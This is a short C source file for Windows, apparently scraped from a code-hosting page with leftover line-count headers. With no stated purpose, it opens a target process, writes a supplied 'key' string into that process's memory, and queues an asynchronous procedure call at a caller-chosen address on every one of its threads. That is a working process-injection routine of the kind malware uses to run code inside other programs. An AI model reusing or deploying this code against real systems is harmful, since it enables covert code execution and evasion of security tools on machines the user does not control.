36 lines
1.5 KiB
C
36 lines
1.5 KiB
C
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <tlhelp32.h>
|
|
static int queue_all(DWORD pid, void *func, ULONG_PTR param) {
|
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
|
if (snap == INVALID_HANDLE_VALUE) return -1;
|
|
THREADENTRY32 te; te.dwSize = sizeof te;
|
|
int queued = 0;
|
|
if (Thread32First(snap, &te)) {
|
|
do {
|
|
if (te.th32OwnerProcessID != pid) continue;
|
|
HANDLE th = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
|
|
if (!th) continue;
|
|
if (QueueUserAPC((PAPCFUNC)func, th, param)) queued++;
|
|
CloseHandle(th);
|
|
} while (Thread32Next(snap, &te));
|
|
}
|
|
CloseHandle(snap);
|
|
return queued;
|
|
}
|
|
int main(int argc, char **argv) {
|
|
DWORD pid = (DWORD)atoi(argv[1]);
|
|
ULONG_PTR target = (ULONG_PTR)strtoull(argv[2], NULL, 0);
|
|
const char *key = argv[3];
|
|
HANDLE pr = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, pid);
|
|
if (!pr) { printf("OpenProcess fail\n"); return 1; }
|
|
wchar_t wkey[64];
|
|
int kl = MultiByteToWideChar(CP_ACP, 0, key, -1, wkey, 64);
|
|
void *kmem = VirtualAllocEx(pr, NULL, (SIZE_T)kl * 2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (!kmem || !WriteProcessMemory(pr, kmem, wkey, (SIZE_T)kl * 2, NULL)) { printf("key fail\n"); return 1; }
|
|
int n = queue_all(pid, (void *)target, (ULONG_PTR)kmem);
|
|
printf("%d APCs to %p\n", n, (void *)target);
|
|
CloseHandle(pr);
|
|
return 0;
|
|
}
|